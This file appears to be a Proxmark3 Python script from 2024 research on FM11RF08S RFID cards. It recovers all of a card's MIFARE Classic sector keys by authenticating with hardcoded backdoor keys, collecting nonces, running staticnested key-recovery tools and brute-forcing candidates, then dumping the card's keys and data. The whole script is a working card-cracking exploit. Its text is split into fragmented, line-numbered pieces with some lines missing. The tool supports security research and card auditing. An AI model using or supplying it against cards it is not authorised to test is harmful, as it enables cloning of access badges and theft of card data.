3 # Combine several attacks to recover all FM11RF08S keys
6 # * Presence of the backdoor with known key
8 # Duration strongly depends on some key being reused and where.
10 # * 32 random keys: ~20 min
11 # * 16 random keys with keyA==keyB in each sector: ~30 min
12 # * 24 random keys, some reused across sectors: <1 min
14 # Doegox, 2024, cf https://eprint.iacr.org/2024/1275 for more info
23 # optional color support
25 # pip install ansicolors
26 from colors
import color
27 except ModuleNotFoundError
:
28 def color(s
, fg
=None):
32 required_version
= (3, 8)
33 if sys
.version_info
< required_version
:
34 print(f
"Python version: {sys.version}")
35 print(f
"The script needs at least Python v{required_version[0]}.{required_version[1]}. Abort.")
38 # First try FM11RF08S key
39 # Then FM11RF08 key as some rare *98 cards are using it too
40 # Then FM11RF32N key, just in case...
41 BACKDOOR_KEYS
= ["A396EFA4E24F", "A31667A8CEC1", "518B3354E760"]
45 DICT_DEF
= "mfc_default_keys.dic"
47 if os
.path
.basename(os
.path
.dirname(os
.path
.dirname(sys
.argv
[0]))) == 'client':
49 TOOLS_PATH
= os
.path
.normpath(os
.path
.join(f
"{os.path.dirname(sys.argv[0])}",
50 "..", "..", "tools", "mfc", "card_only"))
51 DICT_DEF_PATH
= os
.path
.normpath(os
.path
.join(f
"{os.path.dirname(sys.argv[0])}",
52 "..", "dictionaries", DICT_DEF
))
55 TOOLS_PATH
= os
.path
.normpath(os
.path
.join(f
"{os.path.dirname(sys.argv[0])}",
57 DICT_DEF_PATH
= os
.path
.normpath(os
.path
.join(f
"{os.path.dirname(sys.argv[0])}",
58 "dictionaries", DICT_DEF
))
61 "staticnested_1nt": os
.path
.join(f
"{TOOLS_PATH}", "staticnested_1nt"),
62 "staticnested_2x1nt": os
.path
.join(f
"{TOOLS_PATH}", "staticnested_2x1nt_rf08s"),
63 "staticnested_2x1nt1key": os
.path
.join(f
"{TOOLS_PATH}", "staticnested_2x1nt_rf08s_1key"),
65 for tool
, bin
in tools
.items():
66 if not os
.path
.isfile(bin
):
67 if os
.path
.isfile(bin
+ ".exe"):
68 tools
[tool
] = bin
+ ".exe"
70 print(f
"Cannot find {bin}, abort!")
73 parser
= argparse
.ArgumentParser(description
='A script combining staticnested* tools '
74 'to recover all keys from a FM11RF08S card.')
75 parser
.add_argument('-x', '--init-check', action
='store_true', help='Run an initial fchk for default keys')
76 parser
.add_argument('-y', '--final-check', action
='store_true', help='Run a final fchk with the found keys')
77 parser
.add_argument('-k', '--keep', action
='store_true', help='Keep generated dictionaries after processing')
78 parser
.add_argument('-d', '--debug', action
='store_true', help='Enable debug mode')
79 parser
.add_argument('-s', '--supply-chain', action
='store_true', help='Enable supply-chain mode. Look for hf-mf-XXXXXXXX-default_nonces.json')
80 # Such json can be produced from the json saved by
81 # "hf mf isen --collect_fm11rf08s --key A396EFA4E24F" on a wiped card, then processed with
82 # jq '{Created: .Created, FileType: "fm11rf08s_default_nonces", nt: .nt | del(.["32"]) | map_values(.a)}'
83 args
= parser
.parse_args()
85 start_time
= time
.time()
88 p
.console("hf 14a read")
91 for line
in p
.grabbed_output
.split('\n'):
93 uid
= int(line
[10:].replace(' ', '')[-8:], 16)
96 print("Card not found")
98 print("UID: " + color(f
"{uid:08X}", fg
="green"))
101 def print_key(sec
, key_type
, key
):
102 kt
= ['A', 'B'][key_type
]
103 print(f
"Sector {sec:2} key{kt} = " + color(key
, fg
="green"))
105 p
.console("prefs show --json")
106 prefs
= json
.loads(p
.grabbed_output
)
107 save_path
= prefs
['file.default.dumppath'] + os
.path
.sep
109 found_keys
= [["", ""] for _
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
)]
111 print("Checking default keys...")
112 p
.console("hf mf fchk")
113 for line
in p
.grabbed_output
.split('\n'):
115 res
= [x
.strip() for x
in line
.split('|')]
116 sec
= int(res
[0][4:])
118 found_keys
[sec
][0] = res
[2]
119 print_key(sec
, 0, found_keys
[sec
][0])
121 found_keys
[sec
][1] = res
[4]
122 print_key(sec
, 1, found_keys
[sec
][1])
124 print("Getting nonces...")
125 nonces_with_data
= ""
126 for key
in BACKDOOR_KEYS
:
127 cmd
= f
"hf mf isen --collect_fm11rf08s_with_data --key {key}"
129 for line
in p
.grabbed_output
.split('\n'):
130 if "Wrong" in line
or "error" in line
:
133 nonces_with_data
= line
[line
.index("`"):].strip("`")
134 if nonces_with_data
!= "":
137 if (nonces_with_data
== ""):
138 print("Error getting nonces, abort.")
142 with
open(nonces_with_data
, 'r') as file:
143 # Load and parse the JSON data
144 dict_nwd
= json
.load(file)
145 except json
.decoder
.JSONDecodeError
:
146 print(f
"Error parsing {nonces_with_data}, abort.")
149 nt
= [["", ""] for _
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
)]
150 nt_enc
= [["", ""] for _
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
)]
151 par_err
= [["", ""] for _
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
)]
152 data
= ["" for _
in range(NUM_SECTORS
* 4)]
153 for sec
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
):
155 if sec
>= NUM_SECTORS
:
157 nt
[sec
][0] = dict_nwd
["nt"][f
"{real_sec}"]["a"].lower()
158 nt
[sec
][1] = dict_nwd
["nt"][f
"{real_sec}"]["b"].lower()
159 nt_enc
[sec
][0] = dict_nwd
["nt_enc"][f
"{real_sec}"]["a"].lower()
160 nt_enc
[sec
][1] = dict_nwd
["nt_enc"][f
"{real_sec}"]["b"].lower()
161 par_err
[sec
][0] = dict_nwd
["par_err"][f
"{real_sec}"]["a"]
162 par_err
[sec
][1] = dict_nwd
["par_err"][f
"{real_sec}"]["b"]
163 for blk
in range(NUM_SECTORS
* 4):
164 data
[blk
] = dict_nwd
["blocks"][f
"{blk}"]
166 print("Generating first dump file")
167 dumpfile
= f
"{save_path}hf-mf-{uid:08X}-dump.bin"
168 with (open(dumpfile
, "wb")) as f
:
169 for sec
in range(NUM_SECTORS
):
171 d
= data
[(sec
* 4) + b
]
173 ka
= found_keys
[sec
][0]
174 kb
= found_keys
[sec
][1]
179 d
= ka
+ d
[12:20] + kb
180 f
.write(bytes
.fromhex(d
))
181 print(f
"Data has been dumped to `{dumpfile}`")
183 elapsed_time1
= time
.time() - start_time
184 minutes
= int(elapsed_time1
// 60)
185 seconds
= int(elapsed_time1
% 60)
186 print("----Step 1: " + color(f
"{minutes:2}", fg
="yellow") + " minutes " +
187 color(f
"{seconds:2}", fg
="yellow") + " seconds -----------")
189 if os
.path
.isfile(DICT_DEF_PATH
):
190 print(f
"Loading {DICT_DEF}")
191 with
open(DICT_DEF_PATH
, 'r', encoding
='utf-8') as file:
193 if line
[0] != '#' and len(line
) >= 12:
194 DEFAULT_KEYS
.add(line
[:12])
196 print(f
"Warning, {DICT_DEF} not found.")
199 def_nt
= ["" for _
in range(NUM_SECTORS
)]
200 if args
.supply_chain
:
202 default_nonces
= f
'{save_path}hf-mf-{uid:04X}-default_nonces.json'
203 with
open(default_nonces
, 'r') as file:
204 # Load and parse the JSON data
205 dict_dnwd
= json
.load(file)
206 for sec
in range(NUM_SECTORS
):
207 def_nt
[sec
] = dict_dnwd
["nt"][f
"{sec}"].lower()
208 print(f
"Loaded default nonces from {default_nonces}.")
209 except FileNotFoundError
:
211 except json
.decoder
.JSONDecodeError
:
212 print(f
"Error parsing {default_nonces}, skipping.")
214 print("Running staticnested_1nt & 2x1nt when doable...")
215 keys
= [[set(), set()] for _
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
)]
218 # Availability of filtered dicts
219 filtered_dicts
= [[False, False] for _
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
)]
220 found_default
= [[False, False] for _
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
)]
221 for sec
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
):
223 if sec
>= NUM_SECTORS
:
225 if found_keys
[sec
][0] != "" and found_keys
[sec
][1] != "":
227 if found_keys
[sec
][0] == "" and found_keys
[sec
][1] == "" and nt
[sec
][0] != nt
[sec
][1]:
228 for key_type
in [0, 1]:
229 cmd
= [tools
["staticnested_1nt"], f
"{uid:08X}", f
"{real_sec}",
230 nt
[sec
][key_type
], nt_enc
[sec
][key_type
], par_err
[sec
][key_type
]]
233 subprocess
.run(cmd
, capture_output
=True)
234 cmd
= [tools
["staticnested_2x1nt"],
235 f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][0]}.dic", f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][1]}.dic"]
238 subprocess
.run(cmd
, capture_output
=True)
239 filtered_dicts
[sec
][key_type
] = True
240 for key_type
in [0, 1]:
242 with (open(f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic")) as f
:
243 while line
:= f
.readline().rstrip():
245 keys
[sec
][key_type
] = keys_set
.copy()
246 duplicates
.update(all_keys
.intersection(keys_set
))
247 all_keys
.update(keys_set
)
248 if dict_dnwd
is not None and sec
< NUM_SECTORS
:
249 # Prioritize keys from supply-chain attack
250 cmd
= [tools
["staticnested_2x1nt1key"], def_nt
[sec
], "FFFFFFFFFFFF", f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic"]
253 result
= subprocess
.run(cmd
, capture_output
=True, text
=True).stdout
255 for line
in result
.split('\n'):
257 keys_def_set
.add(line
[12:])
258 keys_set
.difference_update(keys_def_set
)
260 # Prioritize default keys
261 keys_def_set
= DEFAULT_KEYS
.intersection(keys_set
)
262 keys_set
.difference_update(keys_def_set
)
263 # Prioritize sector 32 keyB starting with 0000
265 keyb32cands
= set(x
for x
in keys_set
if x
.startswith("0000"))
266 keys_def_set
.update(keyb32cands
)
267 keys_set
.difference_update(keyb32cands
)
268 if len(keys_def_set
) > 0:
269 found_default
[sec
][key_type
] = True
270 with (open(f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic", "w")) as f
:
271 for k
in keys_def_set
:
275 else: # one key not found or both identical
276 if found_keys
[sec
][0] == "":
280 cmd
= [tools
["staticnested_1nt"], f
"{uid:08X}", f
"{real_sec}",
281 nt
[sec
][key_type
], nt_enc
[sec
][key_type
], par_err
[sec
][key_type
]]
284 subprocess
.run(cmd
, capture_output
=True)
286 with (open(f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic")) as f
:
287 while line
:= f
.readline().rstrip():
289 keys
[sec
][key_type
] = keys_set
.copy()
290 duplicates
.update(all_keys
.intersection(keys_set
))
291 all_keys
.update(keys_set
)
292 if dict_dnwd
is not None and sec
< NUM_SECTORS
:
293 # Prioritize keys from supply-chain attack
294 cmd
= [tools
["staticnested_2x1nt1key"], def_nt
[sec
], "FFFFFFFFFFFF", f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic"]
297 result
= subprocess
.run(cmd
, capture_output
=True, text
=True).stdout
299 for line
in result
.split('\n'):
301 keys_def_set
.add(line
[12:])
302 keys_set
.difference_update(keys_def_set
)
304 # Prioritize default keys
305 keys_def_set
= DEFAULT_KEYS
.intersection(keys_set
)
306 keys_set
.difference_update(keys_def_set
)
307 if len(keys_def_set
) > 0:
308 found_default
[sec
][key_type
] = True
309 with (open(f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic", "w")) as f
:
310 for k
in keys_def_set
:
315 print("Looking for common keys across sectors...")
316 keys_filtered
= [[set(), set()] for _
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
)]
317 for dup
in duplicates
:
318 for sec
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
):
319 for key_type
in [0, 1]:
320 if dup
in keys
[sec
][key_type
]:
321 keys_filtered
[sec
][key_type
].add(dup
)
323 # Availability of duplicates dicts
324 duplicates_dicts
= [[False, False] for _
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
)]
326 for sec
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
):
328 if sec
>= NUM_SECTORS
:
330 for key_type
in [0, 1]:
331 if len(keys_filtered
[sec
][key_type
]) > 0:
333 print("Saving duplicates dicts...")
335 with (open(f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic", "w")) as f
:
336 keys_set
= keys_filtered
[sec
][key_type
].copy()
337 keys_def_set
= DEFAULT_KEYS
.intersection(keys_set
)
338 keys_set
.difference_update(DEFAULT_KEYS
)
339 for k
in keys_def_set
:
343 duplicates_dicts
[sec
][key_type
] = True
345 print("Computing needed time for attack...")
346 candidates
= [[0, 0] for _
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
)]
347 for sec
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
):
349 if sec
>= NUM_SECTORS
:
351 for key_type
in [0, 1]:
352 if found_keys
[sec
][0] == "" and found_keys
[sec
][1] == "" and duplicates_dicts
[sec
][key_type
]:
353 kt
= ['a', 'b'][key_type
]
354 dic
= f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic"
355 with
open(dic
, 'r') as file:
356 count
= sum(1 for _
in file)
357 # print(f"dic {dic} size {count}")
358 candidates
[sec
][key_type
] = count
359 if nt
[sec
][0] == nt
[sec
][1]:
360 candidates
[sec
][key_type ^
1] = 1
361 for key_type
in [0, 1]:
362 if found_keys
[sec
][0] == "" and found_keys
[sec
][1] == "" and filtered_dicts
[sec
][key_type
] and candidates
[sec
][0] == 0 and candidates
[sec
][1] == 0:
363 if found_default
[sec
][key_type
]:
364 # We assume the default key is correct
365 candidates
[sec
][key_type
] = 1
367 kt
= ['a', 'b'][key_type
]
368 dic
= f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic"
369 with
open(dic
, 'r') as file:
370 count
= sum(1 for _
in file)
371 # print(f"dic {dic} size {count}")
372 candidates
[sec
][key_type
] = count
373 if found_keys
[sec
][0] == "" and found_keys
[sec
][1] == "" and nt
[sec
][0] == nt
[sec
][1] and candidates
[sec
][0] == 0 and candidates
[sec
][1] == 0:
374 if found_default
[sec
][0]:
375 # We assume the default key is correct
376 candidates
[sec
][0] = 1
377 candidates
[sec
][1] = 1
380 kt
= ['a', 'b'][key_type
]
381 dic
= f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic"
382 with
open(dic
, 'r') as file:
383 count
= sum(1 for _
in file)
384 # print(f"dic {dic} size {count}")
385 candidates
[sec
][0] = count
386 candidates
[sec
][1] = 1
389 for sec
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
):
391 if sec
>= NUM_SECTORS
:
393 print(f
" {real_sec:03} | {real_sec*4+3:03} | {candidates[sec][0]:6} | {candidates[sec][1]:6} ")
394 total_candidates
= sum(candidates
[sec
][0] + candidates
[sec
][1] for sec
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
))
396 elapsed_time2
= time
.time() - start_time
- elapsed_time1
397 minutes
= int(elapsed_time2
// 60)
398 seconds
= int(elapsed_time2
% 60)
399 print("----Step 2: " + color(f
"{minutes:2}", fg
="yellow") + " minutes " +
400 color(f
"{seconds:2}", fg
="yellow") + " seconds -----------")
402 # fchk: 147 keys/s. Correct key found after 50% of candidates on average
404 foreseen_time
= (total_candidates
/ 2 / FCHK_KEYS_S
) + 5
405 minutes
= int(foreseen_time
// 60)
406 seconds
= int(foreseen_time
% 60)
407 print("Still about " + color(f
"{minutes:2}", fg
="yellow") + " minutes " +
408 color(f
"{seconds:2}", fg
="yellow") + " seconds to run...")
411 print("Brute-forcing keys... Press any key to interrupt")
412 for sec
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
):
414 if sec
>= NUM_SECTORS
:
416 for key_type
in [0, 1]:
417 # If we have a duplicates dict
418 # note: we skip if we already know one key
419 # as using 2x1nt1key later will be faster
420 if found_keys
[sec
][0] == "" and found_keys
[sec
][1] == "" and duplicates_dicts
[sec
][key_type
]:
421 kt
= ['a', 'b'][key_type
]
422 dic
= f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic"
423 cmd
= f
"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default"
427 for line
in p
.grabbed_output
.split('\n'):
428 if "aborted via keyboard" in line
:
431 found_keys
[sec
][key_type
] = line
[30:].strip()
432 print_key(real_sec
, key_type
, found_keys
[sec
][key_type
])
433 if nt
[sec
][0] == nt
[sec
][1] and found_keys
[sec
][key_type ^
1] == "":
434 found_keys
[sec
][key_type ^
1] = found_keys
[sec
][key_type
]
435 print_key(real_sec
, key_type ^
1, found_keys
[sec
][key_type ^
1])
441 for key_type
in [0, 1]:
442 # If we have a filtered dict
443 # note: we skip if we already know one key
444 # as using 2x1nt1key later will be faster
445 if found_keys
[sec
][0] == "" and found_keys
[sec
][1] == "" and filtered_dicts
[sec
][key_type
]:
447 kt
= ['a', 'b'][key_type
]
448 dic
= f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic"
449 cmd
= f
"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default"
453 for line
in p
.grabbed_output
.split('\n'):
454 if "aborted via keyboard" in line
:
457 found_keys
[sec
][key_type
] = line
[30:].strip()
458 print_key(real_sec
, key_type
, found_keys
[sec
][key_type
])
464 # If one common key for the sector
465 if found_keys
[sec
][0] == "" and found_keys
[sec
][1] == "" and nt
[sec
][0] == nt
[sec
][1]:
468 kt
= ['a', 'b'][key_type
]
469 dic
= f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic"
470 cmd
= f
"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default"
474 for line
in p
.grabbed_output
.split('\n'):
475 if "aborted via keyboard" in line
:
478 found_keys
[sec
][0] = line
[30:].strip()
479 found_keys
[sec
][1] = line
[30:].strip()
480 print_key(real_sec
, 0, found_keys
[sec
][key_type
])
481 print_key(real_sec
, 1, found_keys
[sec
][key_type
])
485 # If one key is missing, use the other one with 2x1nt1key
486 if ((found_keys
[sec
][0] == "") ^
(found_keys
[sec
][1] == "")) and nt
[sec
][0] != nt
[sec
][1]:
487 if (found_keys
[sec
][0] == ""):
493 if duplicates_dicts
[sec
][key_type_target
]:
494 dic
= f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}_duplicates.dic"
495 elif filtered_dicts
[sec
][key_type_target
]:
496 dic
= f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}_filtered.dic"
498 dic
= f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}.dic"
499 cmd
= [tools
["staticnested_2x1nt1key"], nt
[sec
][key_type_source
], found_keys
[sec
][key_type_source
], dic
]
502 result
= subprocess
.run(cmd
, capture_output
=True, text
=True).stdout
504 for line
in result
.split('\n'):
508 kt
= ['a', 'b'][key_type_target
]
509 cmd
= f
"hf mf fchk --blk {real_sec * 4} -{kt} --no-default"
515 for line
in p
.grabbed_output
.split('\n'):
516 if "aborted via keyboard" in line
:
519 found_keys
[sec
][key_type_target
] = line
[30:].strip()
521 found_keys
[sec
][key_type_target
] = keys
.pop()
522 if found_keys
[sec
][key_type_target
] != "":
523 print_key(real_sec
, key_type_target
, found_keys
[sec
][key_type_target
])
528 print("Brute-forcing phase aborted via keyboard!")
529 args
.final_check
= False
531 plus
= "[" + color("+", fg
="green") + "] "
533 print("Letting fchk do a final dump, just for confirmation and display...")
534 keys_set
= set([i
for sl
in found_keys
for i
in sl
if i
!= ""])
535 with (open(f
"keys_{uid:08x}.dic", "w")) as f
:
538 cmd
= f
"hf mf fchk -f keys_{uid:08x}.dic --no-default --dump"
541 p
.console(cmd
, passthru
=True)
544 print(plus
+ color("found keys:", fg
="green"))
546 print(plus
+ "-----+-----+--------------+---+--------------+----")
547 print(plus
+ " Sec | Blk | key A |res| key B |res")
548 print(plus
+ "-----+-----+--------------+---+--------------+----")
549 for sec
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
):
551 if sec
>= NUM_SECTORS
:
553 keys
= [["", 0], ["", 0]]
554 for key_type
in [0, 1]:
555 if found_keys
[sec
][key_type
] == "":
556 keys
[key_type
] = [color("------------", fg
="red"), color("0", fg
="red")]
558 keys
[key_type
] = [color(found_keys
[sec
][key_type
], fg
="green"), color("1", fg
="green")]
559 print(plus
+ f
" {real_sec:03} | {real_sec*4+3:03} | {keys[0][0]} | {keys[0][1]} | {keys[1][0]} | {keys[1][1]} ")
560 print(plus
+ "-----+-----+--------------+---+--------------+----")
561 print(plus
+ "( " + color("0", fg
="red") + ":Failed / " +
562 color("1", fg
="green") + ":Success )")
564 print(plus
+ "Generating binary key file")
565 keyfile
= f
"{save_path}hf-mf-{uid:08X}-key.bin"
567 with (open(keyfile
, "wb")) as f
:
568 for key_type
in [0, 1]:
569 for sec
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
):
570 k
= found_keys
[sec
][key_type
]
574 f
.write(bytes
.fromhex(k
))
575 print(plus
+ "Found keys have been dumped to `" + color(keyfile
, fg
="yellow")+"`")
577 print("[" + color("=", fg
="yellow") + "] --[ " + color("FFFFFFFFFFFF", fg
="yellow") +
578 " ]-- has been inserted for unknown keys")
579 print(plus
+ "Generating final dump file")
580 dumpfile
= f
"{save_path}hf-mf-{uid:08X}-dump.bin"
581 with (open(dumpfile
, "wb")) as f
:
582 for sec
in range(NUM_SECTORS
):
584 d
= data
[(sec
* 4) + b
]
586 ka
= found_keys
[sec
][0]
587 kb
= found_keys
[sec
][1]
592 d
= ka
+ d
[12:20] + kb
593 f
.write(bytes
.fromhex(d
))
594 print(plus
+ "Data has been dumped to `" + color(dumpfile
, fg
="yellow")+"`")
596 # Remove generated dictionaries after processing
598 print(plus
+ "Removing generated dictionaries...")
599 for sec
in range(NUM_SECTORS
+ NUM_EXTRA_SECTORS
):
601 if sec
>= NUM_SECTORS
:
603 for key_type
in [0, 1]:
604 for append
in ["", "_filtered", "_duplicates"]:
605 file_name
= f
"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}{append}.dic"
606 if os
.path
.isfile(file_name
):
609 elapsed_time3
= time
.time() - start_time
- elapsed_time1
- elapsed_time2
610 minutes
= int(elapsed_time3
// 60)
611 seconds
= int(elapsed_time3
% 60)
612 print("----Step 3: " + color(f
"{minutes:2}", fg
="yellow") + " minutes " +
613 color(f
"{seconds:2}", fg
="yellow") + " seconds -----------")
615 elapsed_time
= time
.time() - start_time
616 minutes
= int(elapsed_time
// 60)
617 seconds
= int(elapsed_time
% 60)
618 print("---- TOTAL: " + color(f
"{minutes:2}", fg
="yellow") + " minutes " +
619 color(f
"{seconds:2}", fg
="yellow") + " seconds -----------")